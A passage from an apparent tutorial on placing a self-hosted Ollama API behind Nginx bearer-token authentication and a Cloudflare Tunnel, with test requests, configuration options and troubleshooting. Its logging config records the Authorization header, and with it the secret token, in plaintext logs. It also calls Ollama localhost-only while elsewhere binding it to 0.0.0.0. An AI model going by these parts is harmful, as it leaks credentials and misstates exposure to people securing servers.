  <span class="hljs-bullet">-</span> <span class="hljs-attr">service:</span> <span class="hljs-string">http_status:404</span>
</code></pre>
<p><strong>Key Change:</strong> <code>aiapi.kumarchaudhary.com.np</code> now points to port <strong>8080</strong> (Nginx), not 11434 (Ollama).</p>
<h3 id="heading-step-68-restart-tunnel">Step 6.8: Restart Tunnel</h3>
<p>bash</p>
<pre><code class="lang-bash">sudo cp ~/.cloudflared/config.yml /etc/cloudflared/
sudo systemctl restart cloudflared
</code></pre>
<hr />
<h2 id="heading-part-7-test-your-secured-api">Part 7: Test Your Secured API</h2>
<h3 id="heading-step-71-test-without-authentication-should-fail">Step 7.1: Test Without Authentication (Should Fail)</h3>
<p>bash</p>
<pre><code class="lang-bash">curl https://aiapi.kumarchaudhary.com.np/api/chat -d <span class="hljs-string">'{
  "model": "deepseek-coder-v2",
  "messages": [{"role": "user", "content": "test"}],
  "stream": false
}'</span>
</code></pre>
<p><strong>Expected Response:</strong></p>
<p>json</p>
<pre><code class="lang-json">{<span class="hljs-attr">"error"</span>: <span class="hljs-string">"Unauthorized"</span>}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763342607584/0d98acf3-179f-443b-b07f-33e25e00eec3.png" alt="Screenshot" class="image--center mx-auto" /></p>
<h3 id="heading-step-72-test-with-authentication-should-work-but-you-need-token-for-authentication-that-we-generate-earlier-or-you-can-use-postman-to-send-request-if-it-didnt-work-for-you">Step 7.2: Test With Authentication (Should Work but you need token for authentication that we generate earlier) Or You can use Postman to send request if it didn’t work for you.</h3>
<p>bash</p>
<pre><code class="lang-bash">curl https://aiapi.kumarchaudhary.com.np/api/chat \
  -H <span class="hljs-string">"Authorization: Bearer YOUR_TOKEN_HERE"</span> \
  -H <span class="hljs-string">"Content-Type: application/json"</span> \
  -d <span class="hljs-string">'{
    "model": "deepseek-coder-v2",
    "messages": [
      {
        "role": "user",
        "content": "Write a Python function to reverse a string"
      }
    ],
    "stream": false
  }'</span>
</code></pre>
<p><strong>Expected Response: You will get response don’t worry</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"model"</span>: <span class="hljs-string">"deepseek-coder-v2"</span>,
  <span class="hljs-attr">"created_at"</span>: <span class="hljs-string">"2025-11-16T23:30:00Z"</span>,
  <span class="hljs-attr">"message"</span>: {
    <span class="hljs-attr">"role"</span>: <span class="hljs-string">"assistant"</span>,
    <span class="hljs-attr">"content"</span>: <span class="hljs-string">"Here's a Python function to reverse a string:\n\n```python\ndef reverse_string(s):\n    return s[::-1]\n```"</span>
  },
  <span class="hljs-attr">"done"</span>: <span class="hljs-literal">true</span>
}
</code></pre>
<h3 id="heading-step-73-test-with-postman">Step 7.3: Test with Postman</h3>
<p><strong>Setup in Postman:</strong></p>
<ol>
<li><p><strong>Method:</strong> POST</p>
</li>
<li><p><strong>URL:</strong> <code>https://aiapi.kumarchaudhary.com.np/api/chat</code></p>
</li>
<li><p><strong>Headers:</strong></p>
<ul>
<li><p><code>Content-Type: application/json</code></p>
</li>
<li><p><code>Authorization: Bearer YOUR_TOKEN_HERE</code></p>
</li>
</ul>
</li>
<li><p><strong>Body (raw JSON):</strong></p>
</li>
</ol>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"model"</span>: <span class="hljs-string">"deepseek-coder-v2"</span>,
  <span class="hljs-attr">"messages"</span>: [
    {
      <span class="hljs-attr">"role"</span>: <span class="hljs-string">"user"</span>,
      <span class="hljs-attr">"content"</span>: <span class="hljs-string">"Explain how async/await works in JavaScript"</span>
    }
  ],
  <span class="hljs-attr">"stream"</span>: <span class="hljs-literal">false</span>
}
</code></pre>
<ol start="5">
<li>Click <strong>Send</strong></li>
</ol>
<hr />
<h2 id="heading-understanding-the-complete-architecture">Understanding the Complete Architecture</h2>
<p>Let's recap what we've built and how it all works together:</p>
<h3 id="heading-the-request-flow">The Request Flow:</h3>
<pre><code class="lang-bash">1. Client (Postman/Browser)
   ↓ HTTPS Request + Bearer Token
   https://aiapi.kumarchaudhary.com.np/api/chat

2. Cloudflare Edge Network
   ↓ (DDoS protection, caching, SSL termination)
   Cloudflare Tunnel (encrypted connection)

3. Your Oracle Server - Cloudflared Service
   ↓ (routes to localhost:8080)

4. Nginx (Port 8080) - Authentication Layer
   ↓ Validates: Authorization: Bearer token
   ├─ ❌ Invalid/Missing token → 401 Unauthorized
   └─ ✅ Valid token → proxy_pass to Ollama

5. Ollama (Port 11434) - AI Engine
   ↓ (processes request with deepseek-coder-v2)
   Generates AI response

6. Response Path (Reverse)
   Ollama → Nginx → Cloudflared → Cloudflare → Client
</code></pre>
<h3 id="heading-security-layers">Security Layers:</h3>
<p><strong>Layer 1 - Cloudflare:</strong></p>
<ul>
<li><p>DDoS protection</p>
</li>
<li><p>SSL/TLS encryption</p>
</li>
<li><p>Rate limiting at edge</p>
</li>
<li><p>No server IP exposed</p>
</li>
</ul>
<p><strong>Layer 2 - Cloudflare Tunnel:</strong></p>
<ul>
<li><p>No open ports on server</p>
</li>
<li><p>Encrypted tunnel to Cloudflare</p>
</li>
<li><p>Only authorized tunnels can connect</p>
</li>
</ul>
<p><strong>Layer 3 - Nginx:</strong></p>
<ul>
<li><p>Bearer token authentication</p>
</li>
<li><p>Can add rate limiting per IP</p>
</li>
<li><p>Request validation</p>
</li>
<li><p>Access logs for monitoring</p>
</li>
</ul>
<p><strong>Layer 4 - Ollama:</strong></p>
<ul>
<li><p>Only accessible from localhost</p>
</li>
<li><p>No direct internet exposure</p>
</li>
<li><p>Isolated from external attacks</p>
</li>
</ul>
<h3 id="heading-port-configuration-summary">Port Configuration Summary:</h3>
<pre><code class="lang-bash">ServicePortAccessible FromPurposeOllama11434localhost + Docker bridgeAI model processingNginx8080Cloudflare Tunnel onlyAuthentication &amp; reverse proxyOpen WebUI4000Cloudflare Tunnel onlyWeb chat interfaceCloudflared-Cloudflare edge onlySecure tunnel daemon
</code></pre>
<h3 id="heading-why-this-architecture-is-production-ready">Why This Architecture is Production-Ready:</h3>
<p>✅ <strong>Defense in Depth:</strong> Multiple security layers<br />✅ <strong>Zero Trust:</strong> Every request validated<br />✅ <strong>Encrypted End-to-End:</strong> HTTPS via Cloudflare<br />✅ <strong>No Exposed Ports:</strong> Everything via secure tunnel<br />✅ <strong>Scalable:</strong> Can add more models/services easily<br />✅ <strong>Monitorable:</strong> Nginx logs all requests<br />✅ <strong>Cost-Effective:</strong> Runs on free tier<br />✅ <strong>Private:</strong> Data never leaves your server</p>
<hr />
<h2 id="heading-available-api-endpoints">Available API Endpoints</h2>
<h3 id="heading-1-chat-api-recommended">1. Chat API (Recommended)</h3>
<p><strong>Endpoint:</strong> <code>POST https://aiapi.kumarchaudhary.com.np/api/chat</code></p>
<p><strong>Headers:</strong></p>
<pre><code class="lang-bash">Content-Type: application/json
Authorization: Bearer YOUR_TOKEN_HERE
</code></pre>
<p><strong>Request Body:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"model"</span>: <span class="hljs-string">"deepseek-coder-v2"</span>,
  <span class="hljs-attr">"messages"</span>: [
    {
      <span class="hljs-attr">"role"</span>: <span class="hljs-string">"system"</span>,
      <span class="hljs-attr">"content"</span>: <span class="hljs-string">"You are a helpful coding assistant."</span>
    },
    {
      <span class="hljs-attr">"role"</span>: <span class="hljs-string">"user"</span>,
      <span class="hljs-attr">"content"</span>: <span class="hljs-string">"Write a REST API in Node.js"</span>
    }
  ],
  <span class="hljs-attr">"stream"</span>: <span class="hljs-literal">false</span>,
  <span class="hljs-attr">"options"</span>: {
    <span class="hljs-attr">"temperature"</span>: <span class="hljs-number">0.7</span>,
    <span class="hljs-attr">"top_p"</span>: <span class="hljs-number">0.9</span>,
    <span class="hljs-attr">"num_predict"</span>: <span class="hljs-number">1000</span>
  }
}
</code></pre>
<h3 id="heading-2-generate-api-simple-prompts">2. Generate API (Simple Prompts)</h3>
<p><strong>Endpoint:</strong> <code>POST https://aiapi.kumarchaudhary.com.np/api/generate</code></p>
<p><strong>Request Body:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"model"</span>: <span class="hljs-string">"deepseek-coder-v2"</span>,
  <span class="hljs-attr">"prompt"</span>: <span class="hljs-string">"Write a Python function to calculate factorial"</span>,
  <span class="hljs-attr">"stream"</span>: <span class="hljs-literal">false</span>
}
</code></pre>
<h3 id="heading-3-list-models">3. List Models</h3>
<p><strong>Endpoint:</strong> <code>GET https://aiapi.kumarchaudhary.com.np/api/tags</code></p>
<p><strong>Headers:</strong></p>
<pre><code class="lang-bash">Authorization: Bearer YOUR_TOKEN_HERE
</code></pre>
<h3 id="heading-4-model-information">4. Model Information</h3>
<p><strong>Endpoint:</strong> <code>POST https://aiapi.kumarchaudhary.com.np/api/show</code></p>
<p><strong>Request Body:</strong></p>
<p>json</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"deepseek-coder-v2"</span>
}
</code></pre>
<hr />
<h2 id="heading-advanced-configuration">Advanced Configuration</h2>
<h3 id="heading-option-1-multiple-api-keys">Option 1: Multiple API Keys</h3>
<p>For different users or applications, create a key mapping file:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/api-keys.conf
</code></pre>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">map</span> <span class="hljs-variable">$http_authorization</span> <span class="hljs-variable">$api_key_valid</span> {
    <span class="hljs-attribute">default</span> <span class="hljs-number">0</span>;
    "<span class="hljs-attribute">Bearer</span> token_for_app1<span class="hljs-string">" 1;
    "</span>Bearer token_for_app2<span class="hljs-string">" 1;
    "</span>Bearer token_for_user1<span class="hljs-string">" 1;
}</span>
</code></pre>
<p>Update Nginx config:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-attribute">include</span> /etc/nginx/api-keys.conf;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$api_key_valid</span> = <span class="hljs-number">0</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized - Invalid or missing API key"}'</span>;
        }

        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
        <span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">75s</span>;
    }
}
</code></pre>
<p>Restart Nginx:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nginx -t
sudo systemctl restart nginx
</code></pre>
<h3 id="heading-option-2-rate-limiting">Option 2: Rate Limiting</h3>
<p>Prevent API abuse by limiting requests:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/nginx.conf
</code></pre>
<p>Add inside the <code>http</code> block:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">http</span> {
    <span class="hljs-comment"># ... existing config ...</span>

    <span class="hljs-comment"># Define rate limit zone: 10 requests per minute per IP</span>
    <span class="hljs-attribute">limit_req_zone</span> <span class="hljs-variable">$binary_remote_addr</span> zone=ollama_limit:<span class="hljs-number">10m</span> rate=10r/m;

    <span class="hljs-comment"># ... rest of config ...</span>
}
</code></pre>
<p>Update your site config:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-comment"># Apply rate limiting</span>
        <span class="hljs-attribute">limit_req</span> zone=ollama_limit burst=<span class="hljs-number">5</span> nodelay;

        <span class="hljs-comment"># Check authentication</span>
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN_HERE"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized"}'</span>;
        }

        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
    }
}
</code></pre>
<p>Test and restart:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nginx -t
sudo systemctl restart nginx
</code></pre>
<p><strong>Rate Limiting Explained:</strong></p>
<ul>
<li><p><code>rate=10r/m</code>: 10 requests per minute per IP</p>
</li>
<li><p><code>burst=5</code>: Allow brief bursts up to 5 requests</p>
</li>
<li><p><code>nodelay</code>: Process burst requests immediately</p>
</li>
</ul>
<h3 id="heading-option-3-request-logging">Option 3: Request Logging</h3>
<p>Track all API requests for monitoring and debugging:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>Add logging configuration:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-comment"># Custom log format with authentication info</span>
    <span class="hljs-attribute">log_format</span> api_access <span class="hljs-string">'<span class="hljs-variable">$remote_addr</span> - <span class="hljs-variable">$remote_user</span> [<span class="hljs-variable">$time_local</span>] '</span>
                         <span class="hljs-string">'"<span class="hljs-variable">$request</span>" <span class="hljs-variable">$status</span> <span class="hljs-variable">$body_bytes_sent</span> '</span>
                         <span class="hljs-string">'"<span class="hljs-variable">$http_authorization</span>" "<span class="hljs-variable">$http_user_agent</span>"'</span>;

    <span class="hljs-attribute">access_log</span> /var/log/nginx/ollama-api-access.log api_access;
    <span class="hljs-attribute">error_log</span> /var/log/nginx/ollama-api-<span class="hljs-literal">error</span>.log;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN_HERE"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized"}'</span>;
        }

        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
        <span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">75s</span>;
    }
}
</code></pre>
<p>View logs in real-time:</p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Watch access logs</span>
sudo tail -f /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-access.log

<span class="hljs-comment"># Watch error logs</span>
sudo tail -f /var/<span class="hljs-built_in">log</span>/nginx/ollama-api-error.log
</code></pre>
<h3 id="heading-option-4-cors-configuration-for-web-applications">Option 4: CORS Configuration (For Web Applications)</h3>
<p>If you're building a web app that calls your API:</p>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>Add CORS headers:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-section">server</span> {
    <span class="hljs-attribute">listen</span> <span class="hljs-number">8080</span>;
    <span class="hljs-attribute">server_name</span> localhost;

    <span class="hljs-attribute">location</span> / {
        <span class="hljs-comment"># Check authentication</span>
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$http_authorization</span> != <span class="hljs-string">"Bearer YOUR_TOKEN_HERE"</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">401</span> <span class="hljs-string">'{"error": "Unauthorized"}'</span>;
        }

        <span class="hljs-comment"># CORS headers</span>
        <span class="hljs-attribute">add_header</span> <span class="hljs-string">'Access-Control-Allow-Origin'</span> <span class="hljs-string">'https://yourapp.com'</span> always;
        <span class="hljs-attribute">add_header</span> <span class="hljs-string">'Access-Control-Allow-Methods'</span> <span class="hljs-string">'GET, POST, OPTIONS'</span> always;
        <span class="hljs-attribute">add_header</span> <span class="hljs-string">'Access-Control-Allow-Headers'</span> <span class="hljs-string">'Authorization, Content-Type'</span> always;
        <span class="hljs-attribute">add_header</span> <span class="hljs-string">'Access-Control-Max-Age'</span> <span class="hljs-number">1728000</span> always;

        <span class="hljs-comment"># Handle preflight requests</span>
        <span class="hljs-attribute">if</span> (<span class="hljs-variable">$request_method</span> = <span class="hljs-string">'OPTIONS'</span>) {
            <span class="hljs-attribute">return</span> <span class="hljs-number">204</span>;
        }

        <span class="hljs-attribute">proxy_pass</span> http://127.0.0.1:11434;
        <span class="hljs-attribute">proxy_http_version</span> <span class="hljs-number">1</span>.<span class="hljs-number">1</span>;
        <span class="hljs-attribute">proxy_set_header</span> Host <span class="hljs-variable">$host</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Real-IP <span class="hljs-variable">$remote_addr</span>;
        <span class="hljs-attribute">proxy_set_header</span> X-Forwarded-For <span class="hljs-variable">$proxy_add_x_forwarded_for</span>;
        <span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">300s</span>;
        <span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">75s</span>;
    }
}
</code></pre>
<hr />
<h2 id="heading-troubleshooting-common-issues">Troubleshooting Common Issues</h2>
<h3 id="heading-issue-1-model-not-appearing-in-open-webui">Issue 1: Model Not Appearing in Open WebUI</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Open WebUI loads but no models in dropdown</p>
</li>
<li><p>"No models available" message</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check if Ollama is running</span>
systemctl status ollama

<span class="hljs-comment"># Check if Ollama has models</span>
ollama list

<span class="hljs-comment"># Test Ollama API directly</span>
curl http://localhost:11434/api/tags

<span class="hljs-comment"># Check if Docker can reach Ollama</span>
docker <span class="hljs-built_in">exec</span> open-webui curl http://172.17.0.1:11434/api/tags
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>Ollama not listening on all interfaces:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo netstat -tlnp | grep 11434
<span class="hljs-comment"># Should show :::11434, not 127.0.0.1:11434</span>

<span class="hljs-comment"># If wrong, reconfigure:</span>
cat /etc/systemd/system/ollama.service.d/override.conf
<span class="hljs-comment"># Should contain: Environment="OLLAMA_HOST=0.0.0.0:11434"</span>

sudo systemctl daemon-reload
sudo systemctl restart ollama
</code></pre>
<ol start="2">
<li><strong>Docker can't reach Ollama (firewall issue):</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Add firewall rule</span>
sudo iptables -I INPUT -s 172.17.0.0/16 -p tcp --dport 11434 -j ACCEPT
sudo netfilter-persistent save

<span class="hljs-comment"># Test again</span>
docker <span class="hljs-built_in">exec</span> open-webui curl http://172.17.0.1:11434/api/tags
</code></pre>
<ol start="3">
<li><strong>Wrong Ollama URL in Open WebUI:</strong></li>
</ol>
<ul>
<li><p>Go to Open WebUI → Settings → Connections</p>
</li>
<li><p>Ensure Ollama URL is: <code>http://172.17.0.1:11434</code></p>
</li>
<li><p>Click refresh icon</p>
</li>
<li><p>Should show green checkmark</p>
</li>
</ul>
<h3 id="heading-issue-2-502-bad-gateway-on-api-requests">Issue 2: 502 Bad Gateway on API Requests</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Nginx returns 502 error</p>
</li>
<li><p>API requests timeout</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check if Ollama is responding</span>
curl http://localhost:11434/api/tags

<span class="hljs-comment"># Check Nginx error logs</span>
sudo tail -50 /var/<span class="hljs-built_in">log</span>/nginx/error.log

<span class="hljs-comment"># Check if Nginx can reach Ollama</span>
sudo nginx -t
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>Ollama is down:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">systemctl status ollama
sudo systemctl restart ollama
</code></pre>
<ol start="2">
<li><strong>Nginx configuration error:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo nginx -t
<span class="hljs-comment"># Fix any errors shown</span>
sudo systemctl restart nginx
</code></pre>
<ol start="3">
<li><strong>Timeout too short for large responses:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/nginx/sites-available/ollama-api
</code></pre>
<p>Increase timeout values:</p>
<p>nginx</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">proxy_read_timeout</span> <span class="hljs-number">600s</span>;  <span class="hljs-comment"># Increase from 300s to 600s</span>
<span class="hljs-attribute">proxy_connect_timeout</span> <span class="hljs-number">120s</span>;
</code></pre>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl restart nginx
</code></pre>
<h3 id="heading-issue-3-401-unauthorized-even-with-correct-token">Issue 3: 401 Unauthorized Even with Correct Token</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Authentication fails with correct Bearer token</p>
</li>
<li><p>All requests return 401</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Test locally first</span>
curl http://localhost:8080/api/tags \
  -H <span class="hljs-string">"Authorization: Bearer YOUR_TOKEN_HERE"</span>

<span class="hljs-comment"># Check Nginx config</span>
sudo cat /etc/nginx/sites-available/ollama-api | grep Bearer
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>Token mismatch (extra spaces, wrong token):</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># View exact token in config</span>
sudo cat /etc/nginx/sites-available/ollama-api
</code></pre>
<p>Make sure:</p>
<ul>
<li><p>No extra spaces before/after token</p>
</li>
<li><p>Token is exactly as generated</p>
</li>
<li><p>Format is: <code>"Bearer YOUR_TOKEN_HERE"</code> (with quotes)</p>
</li>
</ul>
<ol start="2">
<li><strong>Special characters in token causing issues:</strong></li>
</ol>
<p>Regenerate a simpler token:</p>
<p>bash</p>
<pre><code class="lang-bash">openssl rand -hex 32
</code></pre>
<p>Update Nginx config with new token and restart.</p>
<h3 id="heading-issue-4-cloudflare-tunnel-not-working">Issue 4: Cloudflare Tunnel Not Working</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Domain shows "Connection timeout"</p>
</li>
<li><p>Can't access <code>https://ai.kumarchaudhary.com.np</code></p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check tunnel status</span>
sudo systemctl status cloudflared

<span class="hljs-comment"># Check tunnel info</span>
cloudflared tunnel info my-oracle-tunnel

<span class="hljs-comment"># Check logs</span>
sudo journalctl -u cloudflared -n 50
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>Cloudflared service not running:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl start cloudflared
sudo systemctl <span class="hljs-built_in">enable</span> cloudflared
</code></pre>
<ol start="2">
<li><strong>DNS not configured:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Add DNS record</span>
cloudflared tunnel route dns TUNNEL_ID subdomain.domain.com

<span class="hljs-comment"># Or check Cloudflare Dashboard → DNS</span>
<span class="hljs-comment"># Should have CNAME: subdomain → TUNNEL_ID.cfargotunnel.com</span>
</code></pre>
<ol start="3">
<li><strong>Config file path wrong:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check if system config exists</span>
sudo cat /etc/cloudflared/config.yml

<span class="hljs-comment"># If missing, copy from home directory</span>
sudo cp ~/.cloudflared/config.yml /etc/cloudflared/
sudo systemctl restart cloudflared
</code></pre>
<ol start="4">
<li><strong>Wrong service port in config:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo nano /etc/cloudflared/config.yml
</code></pre>
<p>Verify ports match:</p>
<ul>
<li><p>Open WebUI: port 4000</p>
</li>
<li><p>Nginx/API: port 8080</p>
</li>
</ul>
<h3 id="heading-issue-5-out-of-memory-errors">Issue 5: Out of Memory Errors</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>Ollama crashes randomly</p>
</li>
<li><p>"Out of memory" errors in logs</p>
</li>
<li><p>System becomes unresponsive</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check memory usage</span>
free -h

<span class="hljs-comment"># Check which model is loaded</span>
ollama list

<span class="hljs-comment"># Check Ollama logs</span>
sudo journalctl -u ollama -n 100
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>Model too large for available RAM:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Remove large model</span>
ollama rm deepseek-coder-v2

<span class="hljs-comment"># Pull smaller model</span>
ollama pull llama3.2:3b  <span class="hljs-comment"># Only ~2.3GB</span>
</code></pre>
<ol start="2">
<li><strong>Add swap space (not recommended for production):</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Create 4GB swap file</span>
sudo fallocate -l 4G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile

<span class="hljs-comment"># Make permanent</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">'/swapfile none swap sw 0 0'</span> | sudo tee -a /etc/fstab
</code></pre>
<ol start="3">
<li><strong>Optimize Ollama for low memory:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl edit ollama
</code></pre>
<p>Add:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_MAX_LOADED_MODELS=1"</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_NUM_PARALLEL=1"</span>
</code></pre>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl daemon-reload
sudo systemctl restart ollama
</code></pre>
<h3 id="heading-issue-6-slow-response-times">Issue 6: Slow Response Times</h3>
<p><strong>Symptoms:</strong></p>
<ul>
<li><p>API requests take 30+ seconds</p>
</li>
<li><p>Streaming responses are choppy</p>
</li>
</ul>
<p><strong>Diagnosis:</strong></p>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Check system load</span>
top
htop

<span class="hljs-comment"># Check if model is loaded</span>
curl http://localhost:11434/api/tags

<span class="hljs-comment"># Test response time</span>
time curl http://localhost:11434/api/generate -d <span class="hljs-string">'{
  "model": "deepseek-coder-v2",
  "prompt": "Hello",
  "stream": false
}'</span>
</code></pre>
<p><strong>Solutions:</strong></p>
<ol>
<li><strong>First request loads model (expected):</strong></li>
</ol>
<ul>
<li><p>First request: 10-30 seconds (loading model into RAM)</p>
</li>
<li><p>Subsequent requests: 2-5 seconds (model cached)</p>
</li>
<li><p>This is normal behavior</p>
</li>
</ul>
<ol start="2">
<li><strong>CPU-only inference is slower:</strong></li>
</ol>
<ul>
<li><p>Oracle ARM instances use CPU (no GPU)</p>
</li>
<li><p>Consider smaller, faster models:</p>
<ul>
<li><p><code>llama3.2:3b</code> - faster than deepseek-coder-v2</p>
</li>
<li><p><code>phi3:mini</code> - optimized for speed</p>
</li>
<li><p><code>gemma2:2b</code> - very fast</p>
</li>
</ul>
</li>
</ul>
<ol start="3">
<li><strong>Concurrent requests slowing down:</strong></li>
</ol>
<p>bash</p>
<pre><code class="lang-bash">sudo systemctl edit ollama
</code></pre>
<p>Limit parallel requests:</p>
<p>ini</p>
<pre><code class="lang-ini"><span class="hljs-section">[Service]</span>
<span class="hljs-attr">Environment</span>=<span class="hljs-string">"OLLAMA_NUM_PARALLEL=1"</span>
</code></pre>
<hr />
<h2 id="heading-monitoring-and-maintenance">Monitoring and Maintenance</h2>
<h3 id="heading-daily-health-checks">Daily Health Checks</h3>
<p>Create a monitoring script:</p>
<p>bash</p>
<pre><code class="lang-bash">nano ~/check-ollama-health.sh
</code></pre>
<p>bash</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>

<span class="hljs-built_in">echo</span> <span class="hljs-string">"=== Ollama Health Check ==="</span>
